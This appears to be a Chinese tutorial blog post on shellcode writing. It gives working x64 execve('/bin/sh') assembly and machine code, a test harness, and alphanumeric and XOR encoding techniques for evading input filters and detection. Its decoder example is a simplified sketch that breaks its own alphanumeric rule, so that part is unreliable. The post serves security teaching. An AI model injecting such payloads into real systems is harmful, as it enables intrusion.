Shellcode编写:从原理到实战
说实话,Shellcode这个词听起来挺唬人的。我第一次接触它的时候,还以为是什么高深莫测的黑客技术。后来做多了漏洞利用,才明白——Shellcode说白了就是一段能直接运行的机器码,它的目标很单纯:拿到shell,或者执行你想要的任何操作。
我记得刚入行那会儿,有个老前辈跟我说过一句话:「Shellcode是二进制安全的基石,你连它都写不好,就别谈什么漏洞利用了。」当时我不太服气,后来踩了不少坑,才明白这话有多实在。
Shellcode的核心原理
Shellcode本质上是一段位置无关的机器码。什么叫位置无关?就是它不关心自己被加载到内存的哪个地址,都能正常执行。这一点很关键,因为漏洞触发时,你往往控制不了Shellcode的确切加载位置。
我见过不少新手,写Shellcode的时候直接硬编码地址,结果一跑就崩。嗯,这里要注意:Shellcode里绝对不能有绝对地址引用。
Shellcode的核心特征:
- 位置无关(Position-Independent Code)
- 不含空字节(Null-free),避免被字符串函数截断
- 体积尽量小,通常控制在几百字节以内
- 可执行,直接作为机器码注入
你想想看,为什么不能有空字节?因为很多漏洞利用场景下,Shellcode是通过字符串拷贝函数(比如strcpy)写入内存的。这些函数遇到空字节就停了,你的Shellcode后半段就没了。
编写第一个Shellcode
咱们从最简单的开始——写一个执行 /bin/sh 的Shellcode。在Linux x64系统上,核心思路就是调用 execve 系统调用。
我个人习惯先用汇编写,再提取机器码。这样逻辑清晰,不容易出错。
; x64 Linux execve("/bin/sh", NULL, NULL)
; 文件名: shell.asm
section .text
global _start
_start:
; 清空寄存器
xor rdx, rdx ; rdx = 0 (envp)
xor rsi, rsi ; rsi = 0 (argv)
; 将 "/bin/sh" 字符串压栈
push rdx ; 字符串结束符
mov rax, 0x68732f2f6e69622f ; "/bin//sh"
push rax
; rdi 指向字符串
mov rdi, rsp
; 调用 execve 系统调用 (syscall number: 59)
xor rax, rax
mov al, 59
syscall
编译链接后,用 objdump 提取机器码。我常用的命令是:
nasm -f elf64 shell.asm -o shell.o
ld shell.o -o shell
objdump -d shell | grep -Po '\s([0-9a-f]{2}\s)+' | tr -d ' \n'
提取出来的机器码大概长这样:
48 31 d2 48 31 f6 52 48 b8 2f 62 69 6e 2f 2f 73 68 50 48 89 e7 48 31 c0 b0 3b 0f 05
小技巧: 我习惯在汇编里用 // 而不是 \0 来填充路径。因为 // 在Linux路径解析时等同于 /,而且两个斜杠正好凑成8字节,方便压栈。
调试Shellcode
写Shellcode最痛苦的就是调试。机器码一旦跑起来,崩了都不知道崩在哪。我建议用两种方式调试:
- GDB单步调试:把Shellcode放到一个测试程序里,用GDB一步步看寄存器变化
- strace跟踪系统调用:看系统调用是否成功,参数对不对
我曾经有一次写了个反弹Shell的Shellcode,怎么调都不通。用strace一看,原来是socket的协议号写错了。这种问题光看代码根本发现不了。
下面是一个测试Shellcode的C程序框架:
// test_shellcode.c
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
unsigned char code[] = {
0x48, 0x31, 0xd2, 0x48, 0x31, 0xf6, 0x52, 0x48,
0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73,
0x68, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0,
0xb0, 0x3b, 0x0f, 0x05
};
int main() {
void (*func)() = (void(*)())code;
printf("Shellcode length: %ld\n", sizeof(code)-1);
func();
return 0;
}
编译时记得关掉栈保护:
gcc -z execstack -fno-stack-protector test_shellcode.c -o test_shellcode
Alphanumeric Shellcode:字母数字编码
有些场景下,你的Shellcode只能包含可打印字符——比如某些Web应用会对输入做过滤,只允许字母和数字通过。这时候就需要Alphanumeric Shellcode了。
说白了,就是把你的Shellcode编码成只包含 [A-Za-z0-9] 的字符序列。解码器会在运行时把这些字符还原成原始机器码。
我做过一个实际项目,目标系统只允许输入 [a-zA-Z0-9] 范围内的字符。当时我写了个编码器,把Shellcode拆成4字节一组,每组用ADD和XOR指令重新组合成可打印字符。
Alphanumeric Shellcode的编码思路:
- 每个字节必须落在 0x30-0x39(数字)或 0x41-0x5A(大写字母)或 0x61-0x7A(小写字母)范围内
- 利用自修改代码(Self-Modifying Code)在运行时解码
- 解码器本身也必须是Alphanumeric的
举个例子,x86架构下,inc eax 的机器码是 0x40,正好是 @ 字符。而 dec eax 是 0x48,对应 H。利用这些指令,我们可以构建出任意值的计算逻辑。
; Alphanumeric解码器示例(x86)
; 将编码后的数据解码到原始Shellcode
section .text
global _start
_start:
; 获取当前指令地址
jmp short get_addr
decode_loop:
pop esi ; esi = 编码数据起始地址
push esi
pop edi ; edi = 目标地址(覆盖编码数据)
xor ecx, ecx
mov cl, 0x20 ; 解码长度(32字节)
loop_start:
; 从编码数据中恢复原始字节
lodsb ; 加载一个字节
sub al, 0x41 ; 减去偏移量,恢复原始值
stosb ; 存储到目标位置
loop loop_start
; 跳转到解码后的Shellcode
call [esp]
get_addr:
call decode_loop
; 编码后的数据放在这里
db 0x50, 0x51, ... ; 编码后的Shellcode
注意: Alphanumeric Shellcode的体积通常会膨胀3-5倍。你想想看,原本28字节的Shellcode,编码后可能变成100多字节。在漏洞利用时,要确保有足够的空间存放。
编码与解码的实战技巧
我总结了几种常见的编码方式,各有优劣:
| 编码方式 | 膨胀率 | 解码复杂度 | 适用场景 |
|---|---|---|---|
| ADD/SUB编码 | 3-4倍 | 低 | 简单过滤场景 |
| XOR编码 | 2-3倍 | 中 | 通用场景 |
| Base64编码 | 1.33倍 | 高 | 严格过滤场景 |
| 自定义编码 | 2-5倍 | 自定义 | 对抗特定检测 |
我个人最常用的是XOR编码。为什么呢?因为XOR操作是可逆的,而且解码器写起来简单。你只需要一个固定的密钥,编码时对每个字节做XOR,解码时再做一次XOR就还原了。
我曾经遇到过一个场景,目标系统不仅过滤了非字母数字字符,还限制了输入长度。那时候我不得不用更紧凑的编码方案——把多个原始字节合并到一个可打印字符里。虽然解码逻辑复杂了点,但体积控制得很好。
知识体系总览
下面这张图把Shellcode编写的核心知识点串起来了,方便你理解整体脉络:
避坑指南
做Shellcode这些年,我踩过的坑不少。挑几个典型的说说:
- 空字节问题:我曾经写过一个Shellcode,里面有个
mov rax, 0,编译出来一堆空字节。后来改成xor rax, rax才解决。 - 栈对齐:x64系统要求栈16字节对齐,否则某些指令(如
movaps)会触发段错误。我因为这个原因排查了整整一个下午。 - 系统调用号:不同架构的系统调用号不一样。x86和x64的
execve调用号分别是11和59,搞混了直接崩。 - 编码后的自修改:Alphanumeric Shellcode的解码器如果写不好,可能会把自己也给覆盖了。记得把解码器和编码数据放在不同区域。
我的建议: 刚开始学Shellcode,别急着写复杂的。先从 exit(0) 开始,确认整个流程通了,再逐步增加功能。每加一个功能,就用GDB验证一次。这样出问题了能快速定位。
好了,Shellcode的核心内容就这些。从原理到编写,从调试到编码,每一步都有它的门道。你动手写几个,跑一跑,自然就熟了。